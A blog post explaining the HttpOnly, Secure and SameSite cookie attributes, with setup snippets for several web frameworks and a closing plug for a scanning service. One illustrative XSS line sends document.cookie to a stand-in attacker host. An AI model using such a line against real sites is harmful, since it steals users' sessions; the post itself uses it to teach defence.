← Back to blogCookie Security: HttpOnly, Secure, and SameSite Explained

Cookie Security: HttpOnly, Secure, and SameSite Explained

Joel Martin·20 July 2026·6 min read

Cookies are one of the oldest parts of the web, and they're still how most applications handle authentication. Your session token, your login state, your "remember me" preference, they all live in cookies. If those cookies aren't configured properly, an attacker can steal sessions, hijack accounts, and impersonate your users.

The fix is three attributes. You've probably seen them mentioned but never fully understood what each one does. Here's the practical explanation.

The three attributes that matter

HttpOnly

The HttpOnly flag prevents JavaScript from accessing the cookie. When a cookie is marked HttpOnly, it's invisible to document.cookie and any JavaScript running on the page.

Why this matters: if an attacker finds an XSS vulnerability in your app, they can inject JavaScript that reads document.cookie and sends all your users' session tokens to their own server. With HttpOnly set, the script can't read the cookie at all.

Set-Cookie: session_id=abc123; HttpOnly

Without HttpOnly, one line of injected JavaScript can steal every active session:

// This is what an attacker would inject via XSS
fetch('https://evil.com/steal?cookies=' + document.cookie);

With HttpOnly, that line returns nothing. The session cookie is invisible to client-side code.

There's a common objection: "But I need to read the session cookie in my JavaScript for my auth logic." You almost certainly don't. Your server should validate the session on each request. If your frontend needs to know whether the user is logged in, use a separate non-sensitive cookie or an API endpoint, not the session token itself.

Secure

The Secure flag tells the browser to only send the cookie over HTTPS connections. Without it, the cookie will be sent over plain HTTP, which means anyone on the same network (a coffee shop, an airport, a hotel) can intercept it.

Set-Cookie: session_id=abc123; Secure

If your site supports HTTPS (and it should), there is no reason not to set this flag on every cookie. It costs nothing and prevents session hijacking over unencrypted connections.

Even if your server redirects HTTP to HTTPS, the initial HTTP request still happens, and the cookie travels in plaintext in that first request. Secure prevents this.

SameSite

The SameSite attribute controls whether the cookie is sent with cross-site requests. This is your primary defence against Cross-Site Request Forgery (CSRF) attacks.

There are three values:

SameSite=Strict: the cookie is never sent with cross-site requests. If a user clicks a link to your site from another site, the cookie won't be included. This is the most secure option but can feel jarring because users appear logged out when arriving from external links.

SameSite=Lax: the cookie is sent with top-level navigations (clicking a link) but not with cross-site sub-requests (images, iframes, fetch/XHR). This is the sensible default for most applications. The user stays logged in when clicking a link from their email, but a malicious site can't make background API requests with the user's session.

SameSite=None: the cookie is always sent, even with cross-site requests. This is required for legitimate cross-site use cases (embedded widgets, third-party auth flows) but must always be paired with Secure. If you set SameSite=None without Secure, modern browsers will reject the cookie entirely.

Set-Cookie: session_id=abc123; SameSite=Lax

For most web apps, SameSite=Lax is the right choice. Use Strict for highly sensitive cookies (banking, admin sessions). Use None only when you genuinely need cross-site cookie access and understand the CSRF implications.

Setting all three together

A properly configured session cookie looks like this:

Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=86400

That's HttpOnly (no JavaScript access), Secure (HTTPS only), SameSite=Lax (no cross-site sub-requests), scoped to the root path, and expiring after 24 hours.

In Express.js

app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    maxAge: 24 * 60 * 60 * 1000, // 24 hours
  },
  resave: false,
  saveUninitialized: false,
}));

In Next.js API routes

import { cookies } from 'next/headers';

export async function POST(request: Request) {
  const cookieStore = cookies();
  cookieStore.set('session_id', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    maxAge: 86400,
    path: '/',
  });
}

In Django

# settings.py
SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_SAMESITE = 'Lax'
CSRF_COOKIE_HTTPONLY = True
CSRF_COOKIE_SECURE = True

In Flask

app.config.update(
    SESSION_COOKIE_HTTPONLY=True,
    SESSION_COOKIE_SECURE=True,
    SESSION_COOKIE_SAMESITE='Lax',
)

Session token quality

Beyond the three attributes, the session token itself matters. A weak session token can be guessed or brute-forced.

Your session tokens should be long (at least 128 bits of randomness), generated by a cryptographically secure random number generator, and unique per session. Don't use incrementing integers, timestamps, or user IDs as session tokens.

Most frameworks handle this automatically if you use their built-in session management. Problems arise when developers implement custom session handling and use Math.random() or similar non-cryptographic sources.

Common mistakes

Setting Secure in development. If you're developing on localhost over HTTP, cookies with Secure won't be sent. Use a conditional:

cookie: {
  secure: process.env.NODE_ENV === 'production',
}

Forgetting HttpOnly on CSRF tokens. Your CSRF token cookie also needs protection. If an attacker can read the CSRF token via JavaScript, the protection is useless.

Setting overly broad cookie paths. Path=/ is usually fine, but if your API is at /api and your session cookie only needs to be sent to API routes, scope it to Path=/api. This reduces the attack surface.

Not setting Max-Age or Expires. Without an expiry, the cookie becomes a session cookie that's deleted when the browser closes. That sounds secure, but modern browsers often restore sessions, keeping the cookie alive indefinitely. Set an explicit expiry.

How to check yours

Open your browser dev tools, go to the Application tab (Chrome) or Storage tab (Firefox), and click Cookies. Look at each cookie and check the HttpOnly, Secure, and SameSite columns.

For an automated check across all your cookies, run a scan at hexora.uk. Hexora analyses every cookie your site sets and flags any that are missing security attributes, with specific remediation for each.

Three attributes, three minutes

Cookie security isn't complicated. It's three attributes on every cookie that handles authentication or sensitive state. HttpOnly, Secure, SameSite=Lax. Set them once, protect every session.

Worried about your own site's security? Get a free scan in seconds.

Scan your site for free